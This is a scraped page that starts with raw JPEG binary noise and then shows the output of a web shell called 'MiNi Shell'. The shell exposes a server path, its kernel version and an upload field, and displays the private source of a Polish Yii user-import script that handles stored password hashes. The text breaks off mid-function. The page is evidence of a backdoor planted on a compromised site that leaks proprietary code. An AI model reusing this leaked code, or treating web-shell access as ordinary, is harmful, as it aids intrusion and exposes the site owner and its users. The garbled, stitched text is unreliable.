JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/console/controllers/actions/

Linux 9dbcd5f6333d 5.15.0-102-generic #112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/console/controllers/actions/ImportUsersAction.php

<?php

namespace console\controllers\actions;

use \Yii;
use yii\console\Controller;
use common\models\Users;
use common\models\UsersAddresses;
use common\models\Companies;
use common\models\UsersContactData;
use common\models\Portals;
use common\models\Emails;
use common\models\UsersHasPortals;
use common\models\types\Status;
use common\models\types\UserProfile;
use common\models\types\ContactDataType;



class ImportUsersAction extends ImportAbstractAction
{       
    public $idUser;
    public $idPortal;
    public $limit;
    public $offset;
    public $userProfile;
    public $userStatus;
    
    private $users = [];
    private $portals = [];
    private $regionsMap = [];  
    private $usersAsCompaniesMap = [];
    private $duplicatedUsers = [];
    private $usersPasswords = [];
    
    private $safeInternalLimit = 200;
    
    public function run() 
    {
        $debugMode = self::DEBUG_MODE_ON;
        
        //@todo przetestować pod kątem zmian w metodzie: createModelsUsersContactData
        //tutaj był błąd ustalania required = 1 dla jakiś adresów e-mail/telefonów
        
        $this->portals = Portals::find()->select(['id_portal', 'id_parent_portal'])->where(['status' => Status::ACTIVE])->asArray()->indexBy('id_portal')->all(); 

        $this->getUsers();
        
        if(empty($this->users)) {
            var_dump('brak danych do przetworzenia');
            return Controller::EXIT_CODE_ERROR;
        }
//        var_dump(count($this->users)); exit;
        $roleUser = Yii::$app->authManager->getRole(UserProfile::USER);
        
        $incorrectImports = [];
        
        $internalLimit = 0;
        
        $savedIds = [];
        
        $totalSavedIdsRelations = [];
        
        foreach($this->users as $user) {  
            if($this->checkIfSelectedRecordExists($user['id_user'])) {
                continue;
            }
            
            $savedIdsRelations = [];
            
            $internalLimit++;
            
            if($internalLimit > $this->safeInternalLimit) {
                echo "\n";
                var_dump('przekroczono wewnetrzny limit ilosci przetworzonych rekordow');
                
                echo "\n".'Zapisano nowych uzytkownikow: '.count($savedIds)."\n";
                echo "\n".'Zapisano powiazan uzytkownikow: '.count($totalSavedIdsRelations)."\n";
                
                if(!empty($incorrectImports)) {
                    echo "\n".'ID niezaimportowanych uzytkownikow: '.implode(", ", array_keys($incorrectImports));
                }

                if(!empty($this->incorrectImportsByDB)) {
                    var_dump($this->incorrectImportsByDB);
                }
                
                return Controller::EXIT_CODE_ERROR;
            }
            
            if($debugMode === self::DEBUG_MODE_ON) {
//                echo "\n".'User ID: '.$user['id_user'].' - ';
            }
            
            $incorrectImports[$user['id_user']] = true;
            
            $transaction = Yii::$app->db->beginTransaction();
    
            //@todo przetestować to wszystko po zmianach            
            $goToNextIterration = false;
            foreach($user['ids'] as $idUser) {
                $idUser = intval($idUser);
                if(isset($this->usersAsCompaniesMap[$idUser])) {
                    $idCompany = $this->getIdCompanyForOldIdUser($this->usersAsCompaniesMap[$idUser]);
                    if(!$idCompany) {
                        echo $user['id_user'].' - '.'Istnieje informacja, ze dany uzytkownik zostal juz zaimportowany jako firma (o innym ID), ale brakuje ID nowej firmy.'; exit;
                    }
                    $idNewUser = Companies::find()->select(['id_user'])->where(['id_company' => $idCompany])->scalar();       
                    if(!$idNewUser) {
                        echo $user['id_user'].' - '.'Istnieje informacja, ze dany uzytkownik zostal juz zaimportowany jako firma (o innym ID), ale brakuje ID uzytkownika tejze firmy.'; exit;
                    }
                    
                    //@todo przypisywanie uzytkownikom aktywnosci - to trzeba przetestować
                    if(!empty($user['portale'])) {
                        $goToNextIterration2 = false;
                        foreach($user['portale'] as $idPortal) {
                            $flag = UsersHasPortals::setActivity($idNewUser, $idPortal);
                            if(!$flag) {
                                $transaction->rollBack();
                                var_dump('Blad podczas zapisu aktywnosci uzytkownika na portalu');
                                $goToNextIterration2 = true;
                                break;
                            }
                        }
                        if($goToNextIterration2) {
                            $goToNextIterration = true;
                            break;
                        }
                    }
                    
                    unset($incorrectImports[$user['id_user']]);
                    
                    if($debugMode === self::DEBUG_MODE_OFF) {
                        foreach($user['ids'] as $id) {
                            $this->saveOperationStatus(self::STATUS_OK, $id, $idNewUser); 
                            $totalSavedIdsRelations[$id] = $id;                   
                        }
                        $savedIdsRelations[$idNewUser] = $idNewUser; 
                        
//                        echo ' a '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
                        $transaction->commit();
//                        echo 'zapisany'.' '.implode(", ", $user['ids']);;
                    } else {
                        foreach($user['ids'] as $id) {
                            $totalSavedIdsRelations[$id] = $id;                        
                        }
                        $savedIdsRelations[$idNewUser] = $idNewUser;
//                        echo ' b '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
//                        echo 'zapisany'.' '.implode(", ", $user['ids']);;
                    }
                    $goToNextIterration = true;
                    break;
                }
            }
            if($goToNextIterration) {
                continue;
            }
            
            //@todo przetestować to wszystko po zmianach
            $goToNextIterration = false;
            foreach($user['ids'] as $idUser) {
                $idUser = intval($idUser);
                $idBaseUser = $this->getIdBaseForUser($idUser);
                if(intval($idBaseUser) !== $idUser) {
                    $idCompany = $this->getIdCompanyForOldIdUser($idBaseUser);
                    if($idCompany === null) {
                        var_dump('Firma-kopia, a brakuje ID bazowej firmy');                        continue;                 
                    } else {
                        $idNewUser = \common\models\Companies::find()->select(['id_user'])->where(['id_company' => intval($idCompany)])->scalar();
                        
                        //@todo przypisywanie uzytkownikom aktywnosci - to trzeba przetestować
                        if(!empty($user['portale'])) {
                            $goToNextIterration2 = false;
                            foreach($user['portale'] as $idPortal) {
                                $flag = UsersHasPortals::setActivity($idNewUser, $idPortal);
                                if(!$flag) {
                                    $transaction->rollBack();
                                    //var_dump('Blad podczas zapisu aktywnosci uzytkownika na portalu'); 
                                    $goToNextIterration2 = true;
                                    break;
                                }
                            }
                            if($goToNextIterration2) {
                                $goToNextIterration = true;
                                break;
                            }
                        }
                        
                        unset($incorrectImports[$user['id_user']]);
                        
                        if($debugMode === self::DEBUG_MODE_OFF) {
                            foreach($user['ids'] as $id) {
                                $this->saveOperationStatus(self::STATUS_OK, $id, $idNewUser); 
                                $totalSavedIdsRelations[$id] = $id; 
                            }
                            $savedIdsRelations[$idNewUser] = $idNewUser;
                            
//                            echo ' c '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
                            $transaction->commit();
                        } else {
                            //@proteza
                            foreach($user['ids'] as $id) {
                                $totalSavedIdsRelations[$id] = $id;                                                                  
                            }
                            $savedIdsRelations[$idNewUser] = $idNewUser;
//                            echo ' d '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
                        }
                        if($debugMode === self::DEBUG_MODE_OFF) {
//                            echo 'zapisany'.' '.implode(", ", $user['ids']);
                        }
                        $goToNextIterration = true;
                        break;
                    }
                }
            }
            if($goToNextIterration) {
                continue;
            }
                          
            $modelUser = $this->createModelUsers($user);
            if(($result = $this->trySaveModel($modelUser, $user['id_user'], $debugMode)) !== true) {
                //var_dump('Blad podczas zapisu uzytkownika');
                continue;
            }
            
            $modelsUsersContactData = $this->createModelsUsersContactData($user, $modelUser->id_user);
            if(!empty($modelsUsersContactData)) {
                $goToNextIterration = false;
                foreach($modelsUsersContactData as $modelUserContactData) {
                    if(($result = $this->trySaveModel($modelUserContactData, $user['id_user'], $debugMode)) !== true) {
                        //var_dump('Blad podczas zapisu danych kontaktowych uzytkownika');
                        $goToNextIterration = true;
                        break;
                    } 
                }
                if($goToNextIterration) {
                    continue;
                }
            }
            
            $modelUserAddress = $this->createModelUsersAddresses($user, $modelUser->id_user);
            if(!empty($modelUserAddress)) {
                if(($result = $this->trySaveModel($modelUserAddress, $user['id_user'], $debugMode)) !== true) {
                    //var_dump('Blad podczas zapisu adresu uzytkownika');
                    continue;
                } 
            }

            if($debugMode === self::DEBUG_MODE_OFF) {                
                Emails::refreshForUser($modelUser->id_user);
                Yii::$app->authManager->assign($roleUser, $modelUser->id_user);
            } 
            
            if($debugMode === self::DEBUG_MODE_OFF) {
                foreach($user['ids'] as $id) {
                    $this->saveOperationStatus(self::STATUS_OK, $id, $modelUser->id_user); 
                    $totalSavedIdsRelations[$id] = $id; 
                }
                $savedIdsRelations[$modelUser->id_user] = $modelUser->id_user;
                $transaction->commit();
//                echo ' e '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
//                echo 'zapisany'.' '.implode(", ", $user['ids']);;
                unset($incorrectImports[$user['id_user']]);
            } else {
                //@proteza
                foreach($user['ids'] as $id) {
                    $totalSavedIdsRelations[$id] = $id;                   
                }
                $savedIdsRelations[$modelUser->id_user] = $modelUser->id_user;
//                echo ' f '.Users::find()->where(['id_user' => array_keys($savedIdsRelations)])->count().' / '.count($savedIdsRelations).' ';
//                echo 'zapisany'.' '.implode(", ", $user['ids']);
                unset($incorrectImports[$user['id_user']]);
            }
            $savedIds[$modelUser->id_user] = $modelUser->id_user;
            
        }
        
        if(!empty($incorrectImports)) {
            echo "\n".'ID niezaimportowanych uzytkownikow: '.implode(", ", array_keys($incorrectImports));
        }
        
        if(!empty($this->incorrectImportsByDB)) {
            var_dump($this->incorrectImportsByDB);
        }
        
        echo "\n".'Zapisano nowych uzytkownikow: '.count($savedIds)."\n";
       
    }
    
    private function getUsers()
    {
        $this->users = [];
        
        $fields = [
            'id_user', 'login', 'haslo', 'adres', 'nr_budynku', 'nr_lokalu', 'wojewodztwo', 'state', 'miejscowosc', 'kod_1', 'kod_2', 'kod_panstwo',
            'kierunek_1', 'telefon_1', 'kierunek_fax', 'fax', 'komorka_1', 'imie_user', 'nazwisko_user', 'kierunek_telefon_user', 'telefon_user',
            'komorka_user', 'email_user', 'email_firma', 'skype', 'gg', 'www', 'status', 'polecil', 'id_portal', 'id_portal_2', 'id_portal_3',
            'data_rejestracji', 'cd'
        ];
        
        if(!empty($this->limit)) {
            if(!empty($this->offset)) {
                $limit = 'LIMIT '.intval($this->offset).','.intval($this->limit);
            } else {
                $limit = 'LIMIT '.intval($this->limit);
            }
        } else {
            $limit = 'LIMIT 100';
        }
        
        $sqlSelect = implode(", ", array_map(function($value) { return 'u.'.$value; }, $fields));
        
        if(!empty($this->idUser)) {
//            $sql = 'SELECT DISTINCT '.$sqlSelect.' FROM users u, ezo_zapytania ez WHERE u.id_user = ez.id_user AND u.id_user = '.intval($this->idUser);  
            $sql = 'SELECT '.$sqlSelect.' FROM users u WHERE u.id_user = '.intval($this->idUser).' AND (u.id_user IN (SELECT DISTINCT id_user FROM ezo_zapytania) OR u.id_user IN (SELECT DISTINCT id_user FROM oferty))';
            //@todo chwilowa proteza
//            $sql = 'SELECT '.$sqlSelect.' FROM users u WHERE u.id_user = '.intval($this->idUser).' AND u.id_user IN (SELECT DISTINCT id_user FROM oferty)';
        } else {
//            $sql = 'SELECT DISTINCT '.$sqlSelect.' FROM users u, ezo_zapytania ez WHERE u.id_user = ez.id_user'; 
            $sql = 'SELECT '.$sqlSelect.' FROM users u WHERE u.id_user IN (SELECT DISTINCT id_user FROM ezo_zapytania) OR u.id_user IN (SELECT DISTINCT id_user FROM oferty WHERE typ IN(2,3,4) AND status IN (1,4))';
            //@todo chwilowa proteza
//            $sql = 'SELECT '.$sqlSelect.' FROM users u WHERE u.id_user IN (SELECT DISTINCT id_user FROM oferty WHERE typ IN(2,3,4) AND status IN (1,4))';
            if(!empty($this->idPortal)) {
                $sql .= ' AND u.id_portal = '.intval($this->idPortal);
            } 
            if(!empty($this->userProfile)) {
                $sql .= ' AND u.profil = '.intval($this->userProfile);
            } 
            if(!empty($this->userStatus)) {
                $sql .= ' AND u.status = '.intval($this->userStatus);
            }  
            $sql .= ' ORDER BY u.id_user ASC '.$limit;
        }

//        $ids = []; 
//        $sql = 'SELECT '.$sqlSelect.' FROM users u WHERE u.id_user IN ('.implode(",", $ids).') ORDER BY u.id_user';
        $rows = Yii::$app->dbVortale->createCommand($sql)->queryAll();
        if(empty($rows)) {
            return;
        }

        foreach($rows as $row) {            
            $row = $this->convertDataLatin2ToUTF8($row);
            
            if(isset($this->users[$row['login']])) {
                foreach($fields as $field) {
                    if(empty($this->users[$row['login']][$field]) && !empty($row['field'])) {
                        $this->users[$row['login']][$field] = $row['field'];
                    }
                }
            } else {
                $this->users[$row['login']] = $row;
            }
            
            $this->users[$row['login']]['ids'][intval($row['id_user'])] = intval($row['id_user']);
            
            if(intval($row['status']) === 1) {
                foreach(['id_portal', 'id_portal_2', 'id_portal_3'] as $field) {
                    $idPortal = intval($row[$field]);
                    if(!empty($idPortal) && isset($this->portals[$idPortal]) && !isset($this->users[$row['login']]['portale'][$idPortal])) {
                        $this->users[$row['login']]['portale'][$idPortal] = $idPortal;
                    }
                }
            }
        }

        unset($rows); 
    }
    
    //@todo proteza
//    protected function getImportedRecords() 
//    {
//        $this->importedRecords = [];
//        $query = new \yii\mongodb\Query();
//        $documents = $query->from($this->getOperationStatusCollectionName())->select(['_id', 'source_id', 'status', 'info'])->all();
//        if(!empty($documents)) {
//            foreach($documents as $document) {
//                $this->importedRecords[(string)$document['source_id']] = [
//                    '_id' => (string)$document['_id'],
//                    'source_id' => $document['source_id'],
//                    'status' => $document['status'],
//                    'info' => $document['info']
//                ];
//            }
//        }   
//        
//        $documents = $query->from('import_users2')->select(['_id', 'source_id', 'status', 'info'])->all();
//        if(!empty($documents)) {
//            foreach($documents as $document) {
//                if(empty($this->importedRecords[(string)$document['source_id']])) {
//                    $this->importedRecords[(string)$document['source_id']] = [
//                        '_id' => (string)$document['_id'],
//                        'source_id' => $document['source_id'],
//                        'status' => $document['status'],
//                        'info' => $document['info']
//                    ];
//                }
//            }
//        } 
//    }
    
    public function init() 
    {
        Yii::$app->dbVortale->createCommand('SET NAMES latin2;')->execute();
                
        $this->getUsersToCompaniesMap();
        
        $this->regionsMap = [
            1 => "dolnośląskie",
            2 => "kujawsko-pomorskie",
            3 => "lubelskie",
            4 => "lubuskie",
            5 => "łódzkie",
            6 => "małopolskie",
            7 => "mazowieckie",
            8 => "opolskie",
            9 => "podkarpackie",
            10 => "podlaskie",
            11 => "pomorskie",
            12 => "śląskie",
            13 => "świętokrzyskie",
            14 => "warmińsko-mazurskie",
            15 => "wielkopolskie",
            16 => "zachodniopomorskie"
        ];
        
        //@todo to są przypadki userów, którzy mają identyczne loginy jak zaimportowane już firmy. Chodzi mniej więcej o to, że dany user-firma
        //zajerestrował się na jednym portalu jako firma z prezentacją itd., a na innym jako user ezo, aby złożyć zapytanie. Importując dane do nowej bazy 
        //musimy takich użytkowników związać z już utworzonymi kontami, aby import ezo zadziałał poprawnie.
        $this->usersAsCompaniesMap = [
            164969 => 44926,
            167225 => 52571,
            103680 => 46247,
            
            35510 => 49012,
            36218 => 49791,
            58145 => 52381,
            159163 => 159160,
            161486 => 161484,
            170252 => 167263,
        ];
        
        $rows = Yii::$app->dbVortale->createCommand('SELECT users_duplicated.* FROM users_duplicated')->queryAll();
        if(!empty($rows)) {
            foreach($rows as $row) {
                $this->duplicatedUsers[intval($row['id_user'])] = intval($row['id_user_base']);
            }
        }
        unset($rows);
        
        $this->usersPasswords = [];
        $query = new \yii\mongodb\Query();
        $documents = $query->from('vortale_users_passwords')->select(['id_user', 'crypted_password', 'auth_key'])->all();
        if(!empty($documents)) {
            foreach($documents as $document) {
                $this->usersPasswords[(int)$document['id_user']] = [(string)$document['crypted_password'], (string)$document['auth_key']];
            }
            unset($documents);
        } 
        
        parent::init();
    }
    
    protected function getOperationStatusCollectionName()
    {
        return 'import_users';
    }
    
    private function getIdBaseForUser($oldIdUser)
    {
//        return $oldIdUser;
        return isset($this->duplicatedUsers[(int)$oldIdUser]) ? $this->duplicatedUsers[(int)$oldIdUser] : $oldIdUser;
    }
    
    private function createModelUsers($user)
    {
        $modelUser = new Users(['scenario' => 'create']);
//        $modelUser->login = 'vmgo_'.$user['login'];
        $modelUser->login = $user['login'];
        $modelUser->password = $this->usersPasswords[(int)$user['id_user']][0];
        $modelUser->auth_key = $this->usersPasswords[(int)$user['id_user']][1];
//        $modelUser->password = Yii::$app->getSecurity()->generatePasswordHash($user['haslo']);   
        
        if(!empty($user['imie_user']) && !empty($user['nazwisko_user'])) {
            $modelUser->forename = $user['imie_user']; 
            $modelUser->surname = $user['nazwisko_user']; 
        } elseif(empty($user['imie_user']) && !empty($user['nazwisko_user'])) {
            $parts = explode(" ", $user['nazwisko_user']);
            if(isset($parts[1])) {
                $modelUser->forename = array_shift($parts);
                $modelUser->surname = implode(" ", $parts);                
            } else {
                $modelUser->forename = 'BRAK'; //@todo proteza
                $modelUser->surname = $user['nazwisko_user']; 
            }            
        } elseif(!empty($user['imie_user']) && empty($user['nazwisko_user'])) {
            $parts = explode(" ", $user['imie_user']);
            if(isset($parts[1])) {
                $modelUser->forename = array_shift($parts);
                $modelUser->surname = implode(" ", $parts);                
            } else {
                $modelUser->forename = $user['imie_user']; 
                $modelUser->surname = 'BRAK'; //@todo proteza
            } 
        } else {
            $modelUser->forename = 'BRAK'; //@todo proteza
            $modelUser->surname = 'BRAK'; //@todo proteza
        }        
             
//        $modelUser->forename = (!empty($user['imie_user']) && (strlen($user['imie_user']) > 1)) ? $user['imie_user'] : 'BRAK'; 
//        $modelUser->surname = (!empty($user['nazwisko_user']) && (strlen($user['nazwisko_user']) > 1)) ? $user['nazwisko_user'] : 'BRAK'; 
        $modelUser->avatar_filename = null;
        $modelUser->status = intval($user['status']) === 1 ? Status::ACTIVE : Status::INACTIVE;
        $modelUser->generateAuthKey();
        $modelUser->profile = UserProfile::USER;
        if(!empty($user['polecil'])) {
            if(mb_strlen($user['polecil']) <= 60) {
                $modelUser->referrer = $user['polecil'];
            } else {
                $modelUser->referrer = mb_substr($user['polecil'], 0, 60);
            }
        }
        $modelUser->settings = ['advertisements_limit' => Yii::$app->params['limitOfFreeAdvertisementsForUser']];
        
        //@todo na czas importu wyłączyć behaviorsy modelu common\models\Users
        $timeCreated_1 = strtotime($user['data_rejestracji']);
        $timeCreated_2 = strtotime($user['cd']);
        if((bool)$timeCreated_1) {
            $modelUser->created_at = date('Y-m-d H:i:s', $timeCreated_1);
            $modelUser->updated_at = date('Y-m-d H:i:s', $timeCreated_1);
        } elseif((bool)$timeCreated_2) { 
            $modelUser->created_at = date('Y-m-d H:i:s', $timeCreated_2);
            $modelUser->updated_at = date('Y-m-d H:i:s', $timeCreated_2);
        } else {
            $modelUser->created_at = '1970-01-01 00:00:00';
            $modelUser->updated_at = '1970-01-01 00:00:00';
        }
        
        return $modelUser;
    }
    
    private function createModelsUsersContactData($user, $idUser)
    {
        $models = [];
        
        $contactDataTypesLabels = ContactDataType::getValuesWithLabels();
        $requiredEmail = $requiredPhone = null;
        
        $labelForMobilePhone1 = $labelForMobilePhone2 = $contactDataTypesLabels[ContactDataType::MOBILE_PHONE];
        if(count(array_filter([$user['komorka_1'], $user['komorka_user']])) > 1) {
            $counter = 1;
            if(!empty($user['komorka_user'])) {
                $labelForMobilePhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($user['komorka_1'])) {
                $labelForMobilePhone2 .= ' '.$counter;
                $counter++;
            }            
        }
        
        $labelForPhone1 = $labelForPhone2 = $contactDataTypesLabels[ContactDataType::PHONE];
        if(count(array_filter([$user['telefon_user'], $user['telefon_1']])) > 1) {
            $counter = 1;
            if(!empty($user['telefon_user'])) {
                $labelForPhone1 .= ' '.$counter;
                $counter++;
            }
            if(!empty($user['telefon_1'])) {
                $labelForPhone2 .= ' '.$counter;
                $counter++;
            }
        }
        
        foreach(['komorka_1', 'komorka_user', 'telefon_user', 'telefon_1'] as $fieldName) {
            if(empty($user[$fieldName])) {
                continue;
            }
            if($fieldName === 'telefon_user') {
                $requiredPhone = !empty($user['kierunek_telefon_user']) ? $user['kierunek_telefon_user'].$user['telefon_user'] : $user['telefon_user'];
            } elseif($fieldName === 'telefon_1') {
                $requiredPhone = !empty($user['kierunek_1']) ? $user['kierunek_1'].$user['telefon_1'] : $user['telefon_1'];
            } else {
                $requiredPhone = $user[$fieldName];
            }
            break;
        }
        
        $labelForEmail1 = $labelForEmail2 = $contactDataTypesLabels[ContactDataType::EMAIL];
        if(!empty($user['email_user']) && !empty($user['email_firma'])) {
            $requiredEmail = $user['email_user'];
            $labelForEmail1 .= ' 1';
            $labelForEmail2 .= ' 2';
        } elseif(!empty($user['email_user'])) {
            $requiredEmail = $user['email_user'];
        } elseif(!empty($user['email_firma'])) {
            $requiredEmail = $user['email_firma'];
        }
        
        //@todo ustalić czy tak mają wyglądać pola "przeznaczenie" dla adresów email
        $emailPurposes = [];
        foreach(\common\models\Emails::$purposesFields as $purposeField) {
            $emailPurposes[$purposeField] = 1;
        }
        $emailPurposes['or_contact_person'] = 0;
        
        $contactDataFields = [
            ['type' => ContactDataType::PHONE, 'value' => !empty($user['kierunek_telefon_user']) ? $user['kierunek_telefon_user'].$user['telefon_user'] : $user['telefon_user'], 'checkValue' => $user['telefon_user'], 'label' => $labelForPhone1],
            ['type' => ContactDataType::PHONE, 'value' => !empty($user['kierunek_1']) ? $user['kierunek_1'].$user['telefon_1'] : $user['telefon_1'], 'checkValue' => $user['telefon_1'], 'label' => $labelForPhone2],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $user['komorka_user'], 'label' => $labelForMobilePhone1],
            ['type' => ContactDataType::MOBILE_PHONE, 'value' => $user['komorka_1'], 'label' => $labelForMobilePhone2],            
            ['type' => ContactDataType::FAX, 'value' => !empty($user['kierunek_fax']) ? $user['kierunek_fax'].$user['fax'] : $user['fax'], 'checkValue' => $user['fax']],
            ['type' => ContactDataType::EMAIL, 'value' => $user['email_user'], 'label' => $labelForEmail1, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::EMAIL, 'value' => $user['email_firma'], 'label' => $labelForEmail2, 'purposes' => $emailPurposes],
            ['type' => ContactDataType::SKYPE, 'value' => $user['skype']],
            ['type' => ContactDataType::GG, 'value' => $user['gg']],
            ['type' => ContactDataType::WWW, 'value' => $user['www']],
        ];            
        $contacDataFieldOrder = 1;            
        foreach($contactDataFields as $contactDataField) {
            $checkValue = isset($contactDataField['checkValue']) ? $contactDataField['checkValue'] : $contactDataField['value'];            
            if(empty($checkValue) || (preg_match('|[a-zA-Z0-9]+|i', $checkValue) !== 1)) {
                continue;
            }
            
            if($contactDataField['type'] === ContactDataType::WWW) {
                $contactDataField['value'] = $this->fixUrl($contactDataField['value']);
            }
            
            $model = new UsersContactData(['scenario' => 'create']);
            $model->id_user = $idUser;
            $model->data_value = $contactDataField['value'];
            $model->data_label = (isset($contactDataField['label'])) ? $contactDataField['label'] : $contactDataTypesLabels[$contactDataField['type']];
            $model->data_type = $contactDataField['type'];
            $model->data_order = $contacDataFieldOrder;
            
            if($contactDataField['type'] === ContactDataType::PHONE || $contactDataField['type'] === ContactDataType::MOBILE_PHONE) {
                $model->required = ($contactDataField['value'] === $requiredPhone) ? 1 : 0;
            } elseif($contactDataField['type'] === ContactDataType::EMAIL) {
                $model->required = ($contactDataField['value'] === $requiredEmail) ? 1 : 0;
            } else {
                $model->required = 0;
            }

            if(!empty($contactDataField['purposes'])) {
//                $model->settings = json_encode(['purposes' => $contactDataField['purposes']]); 
                $model->settings = ['purposes' => $contactDataField['purposes']]; //#JSON-hack#
            }

            $models[] = $model;                
            $contacDataFieldOrder++; 
        }
        
        return $models;
    }
    
    private function createModelUsersAddresses($user, $idUser)
    {     
//        if((empty($user['adres']) && empty($user['nr_budynku'])) || empty($user['locality']) || empty($user['wojewodztwo'])) {
//            return null;
//        }
        
        foreach(['adres', 'nr_budynku', 'nr_lokalu', 'miejscowosc'] as $field) {
            if($user[$field] === '-' || $user[$field] === ',') {
                $user[$field] = '';
            }
        }
        
        if($user['kod_1'] === '00' && $user['kod_2'] === '000') {
            $user['kod_1'] = $user['kod_2'] = '';
        }
        
        $model = new UsersAddresses(['scenario' => 'create']);
        $model->id_user = $idUser;
        $model->or_main = 1;
        $model->label = 'Adres';
        $model->lat = null;
        $model->lng = null;
        $model->address_cont = null; 
        
        if(empty($user['adres'])) {            
